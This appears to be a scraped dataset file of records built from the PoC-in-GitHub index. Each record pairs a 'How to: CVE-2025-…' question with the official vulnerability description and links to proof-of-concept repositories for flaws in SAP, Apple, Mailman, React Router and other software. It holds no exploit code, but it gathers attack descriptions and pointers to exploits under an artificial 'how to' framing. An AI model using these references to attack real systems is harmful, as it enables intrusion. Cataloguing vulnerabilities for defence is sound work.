{"id": "gh_09b25ceb3f8f", "question": "How to: CVE-2025-41646 (2025-06-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n```\n- [GreenForceNetworks/CVE-2025-41646---Critical-Authentication-Bypass-](https://github.com/GreenForceNetworks/CVE-2025-41646---Critical-Authentication-Bypass-)\n- [r0otk3r/CVE-2025-41646](https://github.com/r0otk3r/CVE-2025-41646)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156022"}
{"id": "gh_322bf001461e", "question": "How to: CVE-2025-41656 (2025-07-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn unauthenticated remote attacker can run arbitrary commands on the affected devices with high privileges because the authentication for the Node_RED server is not configured by default.\n```\n- [wallyschag/CVE-2025-41656](https://github.com/wallyschag/CVE-2025-41656)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156028"}
{"id": "gh_1057fe15e511", "question": "How to: CVE-2025-42944 (2025-09-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDue to a deserialization vulnerability in SAP NetWeaver, an unauthenticated attacker could exploit the system through the RMI-P4 module by submitting malicious payload to an open port. The deserialization of such untrusted Java objects could lead to arbitrary OS command execution, posing a high impact to the application's confidentiality, integrity, and availability.\n```\n- [rxerium/CVE-2025-42944](https://github.com/rxerium/CVE-2025-42944)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156033"}
{"id": "gh_b2aa66d3d4e2", "question": "How to: CVE-2025-42957 (2025-08-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSAP S/4HANA allows an attacker with user privileges to exploit a vulnerability in the function module exposed via RFC. This flaw enables the injection of arbitrary ABAP code into the system, bypassing essential authorization checks. This vulnerability effectively functions as a backdoor, creating the risk of full system compromise, undermining the confidentiality, integrity and availability of the system.\n```\n- [mrk336/CVE-2025-42957-SAP-S-4HANA-Under-Siege](https://github.com/mrk336/CVE-2025-42957-SAP-S-4HANA-Under-Siege)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156037"}
{"id": "gh_36c442da762a", "question": "How to: CVE-2025-43300 (2025-08-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 15.8.5 and iPadOS 15.8.5, iOS 16.7.12 and iPadOS 16.7.12. Processing a malicious image file may result in memory corruption. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals.\n```\n- [XiaomingX/CVE-2025-43300-exp](https://github.com/XiaomingX/CVE-2025-43300-exp)\n- [hunters-sec/CVE-2025-43300](https://github.com/hunters-sec/CVE-2025-43300)\n- [PwnToday/CVE-2025-43300](https://github.com/PwnToday/CVE-2025-43300)\n- [veniversum/cve-2025-43300](https://github.com/veniversum/cve-2025-43300)\n- [ticofookfook/CVE-2025-43300](https://github.com/ticofookfook/CVE-2025-43300)\n- [Dark-life944/CVE-2025](https://github.com/Dark-life944/CVE-2025)\n- [7amzahard/CVE-2025-43300](https://github.com/7amzahard/CVE-2025-43300)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156043"}
{"id": "gh_4e269cd31bdc", "question": "How to: CVE-2025-43400 (2025-09-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in watchOS 26.1, tvOS 26.1. Processing a maliciously crafted font may lead to unexpected app termination or corrupt process memory.\n```\n- [csrXamfi/CVE-2025-43400](https://github.com/csrXamfi/CVE-2025-43400)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156080"}
{"id": "gh_a0e0e161641b", "question": "How to: CVE-2025-43426 (2025-11-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA logging issue was addressed with improved data redaction. This issue is fixed in macOS Tahoe 26.1, iOS 26.1 and iPadOS 26.1. An app may be able to access sensitive user data.\n```\n- [csrXamfi/CVE-2025-43426](https://github.com/csrXamfi/CVE-2025-43426)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156084"}
{"id": "gh_ae38bd83c40b", "question": "How to: CVE-2025-43504 (2025-11-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA buffer overflow was addressed with improved bounds checking. This issue is fixed in Xcode 26.1. A user in a privileged network position may be able to cause a denial-of-service.\n```\n- [calysteon/CVE-2025-43504](https://github.com/calysteon/CVE-2025-43504)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156088"}
{"id": "gh_c2bd26a53272", "question": "How to: CVE-2025-43529 (2025-12-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA use-after-free issue was addressed with improved memory management. This issue is fixed in watchOS 26.2, Safari 26.2, iOS 18.7.3 and iPadOS 18.7.3, iOS 26.2 and iPadOS 26.2, macOS Tahoe 26.2, visionOS 26.2, tvOS 26.2. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS before iOS 26. CVE-2025-14174 was also issued in response to this report.\n```\n- [zeroxjf/CVE-2025-43529-analysis](https://github.com/zeroxjf/CVE-2025-43529-analysis)\n- [jir4vv1t/CVE-2025-43529](https://github.com/jir4vv1t/CVE-2025-43529)\n- [zeroxjf/WebKit-UAF-ANGLE-OOB-Analysis](https://github.com/zeroxjf/WebKit-UAF-ANGLE-OOB-Analysis)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156094"}
{"id": "gh_7562c564ec10", "question": "How to: CVE-2025-43541 (2025-12-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA type confusion issue was addressed with improved state handling. This issue is fixed in Safari 26.2, iOS 18.7.3 and iPadOS 18.7.3, iOS 26.2 and iPadOS 26.2, macOS Tahoe 26.2, visionOS 26.2. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n```\n- [crypt0bit/CVE-2025-43541](https://github.com/crypt0bit/CVE-2025-43541)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156098"}
{"id": "gh_1855e3e1f581", "question": "How to: CVE-2025-43864 (2025-04-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nReact Router is a router for React. Starting in version 7.2.0 and prior to version 7.5.2, it is possible to force an application to switch to SPA mode by adding a header to the request. If the application uses SSR and is forced to switch to SPA, this causes an error that completely corrupts the page. If a cache system is in place, this allows the response containing the error to be cached, resulting in a cache poisoning that strongly impacts the availability of the application. This issue has been patched in version 7.5.2.\n```\n- [pouriam23/DoS-via-cache-poisoning-by-forcing-SPA-mode-CVE-2025-43864-](https://github.com/pouriam23/DoS-via-cache-poisoning-by-forcing-SPA-mode-CVE-2025-43864-)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156103"}
{"id": "gh_2724b1c563d3", "question": "How to: CVE-2025-43865 (2025-04-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nReact Router is a router for React. In versions on the 7.0 branch prior to version 7.5.2, it's possible to modify pre-rendered data by adding a header to the request. This allows to completely spoof its contents and modify all the values ​​of the data object passed to the HTML. This issue has been patched in version 7.5.2.\n```\n- [pouriam23/Pre-render-data-spoofing-on-React-Router-framework-mode-CVE-2025-43865](https://github.com/pouriam23/Pre-render-data-spoofing-on-React-Router-framework-mode-CVE-2025-43865)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156108"}
{"id": "gh_4585e8a29352", "question": "How to: CVE-2025-43919 (2025-04-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGNU Mailman 2.1.39, as bundled in cPanel (and WHM), allows unauthenticated attackers to read arbitrary files via ../ directory traversal at /mailman/private/mailman (aka the private archive authentication endpoint) via the username parameter. NOTE: multiple third parties report that they are unable to reproduce this, regardless of whether cPanel or WHM is used.\n```\n- [0NYX-MY7H/CVE-2025-43919](https://github.com/0NYX-MY7H/CVE-2025-43919)\n- [cybersecplayground/CVE-2025-43919-POC](https://github.com/cybersecplayground/CVE-2025-43919-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156113"}
{"id": "gh_29be51cae255", "question": "How to: CVE-2025-43920 (2025-04-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGNU Mailman 2.1.39, as bundled in cPanel (and WHM), in certain external archiver configurations, allows unauthenticated attackers to execute arbitrary OS commands via shell metacharacters in an email Subject line. NOTE: multiple third parties report that they are unable to reproduce this, regardless of whether cPanel or WHM is used.\n```\n- [0NYX-MY7H/CVE-2025-43920](https://github.com/0NYX-MY7H/CVE-2025-43920)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156117"}
{"id": "gh_519f693dfd88", "question": "How to: CVE-2025-43921 (2025-04-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGNU Mailman 2.1.39, as bundled in cPanel (and WHM), allows unauthenticated attackers to create lists via the /mailman/create endpoint. NOTE: multiple third parties report that they are unable to reproduce this, regardless of whether cPanel or WHM is used.\n```\n- [0NYX-MY7H/CVE-2025-43921](https://github.com/0NYX-MY7H/CVE-2025-43921)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156122"}
{"id": "gh_98b154271438", "question": "How to: CVE-2025-43929 (2025-04-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nopen_actions.py in kitty before 0.41.0 does not ask for user confirmation before running a local executable file that may have been linked from an untrusted document (e.g., a document opened in KDE ghostwriter).\n```\n- [0xBenCantCode/CVE-2025-43929](https://github.com/0xBenCantCode/CVE-2025-43929)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156126"}
{"id": "gh_26fc073d37e2", "question": "How to: CVE-2025-43960 (2025-08-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAdminer 4.8.1, when using Monolog for logging, allows a Denial of Service (memory consumption) via a crafted serialized payload (e.g., using s:1000000000), leading to a PHP Object Injection issue. Remote, unauthenticated attackers can trigger this by sending a malicious serialized object, which forces excessive memory usage, rendering Adminer’s interface unresponsive and causing a server-level DoS. While the server may recover after several minutes, multiple simultaneous requests can cause a complete crash requiring manual intervention.\n```\n- [far00t01/CVE-2025-43960](https://github.com/far00t01/CVE-2025-43960)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156132"}
{"id": "gh_9242a90b9f42", "question": "How to: CVE-2025-44039 (2025-05-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCP-XR-DE21-S -4G Router Firmware version 1.031.022 was discovered to contain insecure protections for its UART console. This vulnerability allows local attackers to connect to the UART port via a serial connection, read all boot sequence, and revealing internal system details and sensitive information without any authentication.\n```\n- [Yashodhanvivek/CP-XR-DE21-S--4G-Router-Vulnerabilities](https://github.com/Yashodhanvivek/CP-XR-DE21-S--4G-Router-Vulnerabilities)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156136"}
{"id": "gh_558327421006", "question": "How to: CVE-2025-44108 (2025-05-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stored Cross-Site Scripting (XSS) vulnerability exists in the administration panel of Flatpress CMS before 1.4 via the gallery captions component. An attacker with admin privileges can inject a malicious JavaScript payload into the system, which is then stored persistently.\n```\n- [harish0x/CVE-2025-44108-SXSS](https://github.com/harish0x/CVE-2025-44108-SXSS)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156144"}
{"id": "gh_748f8e551910", "question": "How to: CVE-2025-44136 (2025-07-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMapTiler Tileserver-php v2.0 is vulnerable to Cross Site Scripting (XSS). The GET parameter \"layer\" is reflected in an error message without html encoding. This leads to XSS and allows an unauthenticated attacker to execute arbitrary HTML or JavaScript code on a victim's browser.\n```\n- [mheranco/CVE-2025-44136](https://github.com/mheranco/CVE-2025-44136)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156150"}
{"id": "gh_6eada145f3b4", "question": "How to: CVE-2025-44137 (2025-07-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMapTiler Tileserver-php v2.0 is vulnerable to Directory Traversal. The renderTile function within tileserver.php is responsible for delivering tiles that are stored as files on the server via web request. Creating the path to a file allows the insertion of \"../\" and thus read any file on the web server. Affected GET parameters are \"TileMatrix\", \"TileRow\", \"TileCol\" and \"Format\"\n```\n- [mheranco/CVE-2025-44137](https://github.com/mheranco/CVE-2025-44137)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156158"}
{"id": "gh_a89930dcd1c1", "question": "How to: CVE-2025-44148 (2025-06-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component\n```\n- [barisbaydur/CVE-2025-44148](https://github.com/barisbaydur/CVE-2025-44148)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156162"}
{"id": "gh_ee698d0c9bc5", "question": "How to: CVE-2025-44203 (2025-06-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn HotelDruid 3.0.7, an unauthenticated attacker can exploit verbose SQL error messages on creadb.php before the 'create database' button is pressed. By sending malformed POST requests to this endpoint, the attacker may obtain the administrator username, password hash, and salt. In some cases, the attack results in a Denial of Service (DoS), preventing the administrator from logging in even with the correct credentials.\n```\n- [IvanT7D3/CVE-2025-44203](https://github.com/IvanT7D3/CVE-2025-44203)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156167"}
{"id": "gh_f3f4282e6c05", "question": "How to: CVE-2025-44603", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [Moulish2004/CVE-2025-44603-CSRF-Leads_to_Create_FakeUsers](https://github.com/Moulish2004/CVE-2025-44603-CSRF-Leads_to_Create_FakeUsers)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156171"}
{"id": "gh_2ee76653aa9f", "question": "How to: CVE-2025-44608 (2025-07-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCloudClassroom-PHP Project v1.0 was discovered to contain a SQL injection vulnerability via the viewid parameter.\n```\n- [mr-xmen786/CVE-2025-44608](https://github.com/mr-xmen786/CVE-2025-44608)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156175"}
{"id": "gh_ed9dce96bd39", "question": "How to: CVE-2025-44823 (2025-10-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nNagios Log Server before 2024R1.3.2 allows authenticated users to retrieve cleartext administrative API keys via a /nagioslogserver/index.php/api/system/get_users call. This is GL:NLS#475.\n```\n- [skraft9/CVE-2025-44823](https://github.com/skraft9/CVE-2025-44823)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156179"}
{"id": "gh_a24087020d5f", "question": "How to: CVE-2025-44998 (2025-05-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stored cross-site scripting (XSS) vulnerability in the component /tinyfilemanager.php of TinyFileManager v2.4.7 allows attackers to execute arbitrary JavaScript or HTML via injecting a crafted payload into the js-theme-3 parameter.\n```\n- [l8BL/CVE-2025-44998](https://github.com/l8BL/CVE-2025-44998)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156187"}
{"id": "gh_75322618f1ba", "question": "How to: CVE-2025-45250 (2025-05-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMrDoc v0.95 and before is vulnerable to Server-Side Request Forgery (SSRF) in the validate_url function of the app_doc/utils.py file.\n```\n- [xp3s/CVE-2025-45250](https://github.com/xp3s/CVE-2025-45250)\n- [Anike-x/CVE-2025-45250](https://github.com/Anike-x/CVE-2025-45250)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156191"}
{"id": "gh_520eaab70b03", "question": "How to: CVE-2025-45346 (2025-07-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSQL Injection vulnerability in Bacula-web before v.9.7.1 allows a remote attacker to execute arbitrary code via a crafted HTTP GET request.\n```\n- [0xsu3ks/CVE-2025-45346](https://github.com/0xsu3ks/CVE-2025-45346)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156196"}
{"id": "gh_bba492f2f7a9", "question": "How to: CVE-2025-45407", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [yallasec/CVE-2025-45407](https://github.com/yallasec/CVE-2025-45407)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156199"}
{"id": "gh_66f872428d0e", "question": "How to: CVE-2025-45466 (2025-07-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnitree Go1 <= Go1_2022_05_11 is vulnerale to Incorrect Access Control due to authentication credentials being hardcoded in plaintext.\n```\n- [zgsnj123/CVE-2025-45466](https://github.com/zgsnj123/CVE-2025-45466)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156203"}
{"id": "gh_79e3d340326f", "question": "How to: CVE-2025-45467 (2025-07-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnitree Go1 <= Go1_2022_05_11 is vulnerable to Insecure Permissions as the firmware update functionality (via Wi-Fi/Ethernet) implements an insecure verification mechanism that solely relies on MD5 checksums for firmware integrity validation.\n```\n- [zgsnj123/CVE-2025-45467](https://github.com/zgsnj123/CVE-2025-45467)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156208"}
{"id": "gh_5b44cf7a1103", "question": "How to: CVE-2025-45512 (2025-08-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA lack of signature verification in the bootloader of DENX Software Engineering Das U-Boot (U-Boot) v1.1.3 allows attackers to install crafted firmware files, leading to arbitrary code execution.\n```\n- [AzhariRamadhan/CVE-2025-45512](https://github.com/AzhariRamadhan/CVE-2025-45512)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156212"}
{"id": "gh_3d69b8a62d60", "question": "How to: CVE-2025-45619 (2025-07-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in Aver PTC310UV2 firmware v.0.1.0000.59 allows a remote attacker to execute arbitrary code via the SendAction function\n```\n- [weedl/CVE-2025-45619](https://github.com/weedl/CVE-2025-45619)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156217"}
{"id": "gh_01acd3a83cc7", "question": "How to: CVE-2025-45620 (2025-07-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in Aver PTC310UV2 v.0.1.0000.59 allows a remote attacker to obtain sensitive information via a crafted request\n```\n- [weedl/CVE-2025-45620](https://github.com/weedl/CVE-2025-45620)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156221"}
{"id": "gh_2f64d143fb49", "question": "How to: CVE-2025-45710", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [partywavesec/CVE-2025-45710](https://github.com/partywavesec/CVE-2025-45710)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156224"}
{"id": "gh_520564560582", "question": "How to: CVE-2025-45778 (2025-08-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stored cross-site scripting (XSS) vulnerability in The Language Sloth Web Application v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Description text field.\n```\n- [Smarttfoxx/CVE-2025-45778](https://github.com/Smarttfoxx/CVE-2025-45778)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156231"}
{"id": "gh_d1dfcde1585b", "question": "How to: CVE-2025-45805 (2025-09-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn phpgurukul Doctor Appointment Management System 1.0, an authenticated doctor user can inject arbitrary JavaScript code into their profile name. This payload is subsequently rendered without proper sanitization, when a user visits the website and selects the doctor to book an appointment.\n```\n- [mhsinj/CVE-2025-45805](https://github.com/mhsinj/CVE-2025-45805)\n- [mohammed-alsaqqaf/CVE-2025-45805](https://github.com/mohammed-alsaqqaf/CVE-2025-45805)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156235"}
{"id": "gh_1b7384e4baa7", "question": "How to: CVE-2025-45955", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [surendrapuppala7/CVE-2025-45955](https://github.com/surendrapuppala7/CVE-2025-45955)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156239"}
{"id": "gh_3200eec90bae", "question": "How to: CVE-2025-45960 (2025-07-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross Site Scripting vulnerability in tawk.to Live Chat v.1.6.1 allows a remote attacker to execute arbitrary code via the web application stores and displays user-supplied input without proper input validation or encoding\n```\n- [pracharapol/CVE-2025-45960](https://github.com/pracharapol/CVE-2025-45960)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156243"}
{"id": "gh_c5be120d6208", "question": "How to: CVE-2025-46018 (2025-08-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCSC Pay Mobile App 2.19.4 (fixed in version 2.20.0) contains a vulnerability allowing users to bypass payment authorization by disabling Bluetooth at a specific point during a transaction. This could result in unauthorized use of laundry services and potential financial loss.\n```\n- [niranjangaire1995/CVE-2025-46018-CSC-Pay-Mobile-App-Payment-Authentication-Bypass](https://github.com/niranjangaire1995/CVE-2025-46018-CSC-Pay-Mobile-App-Payment-Authentication-Bypass)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156250"}
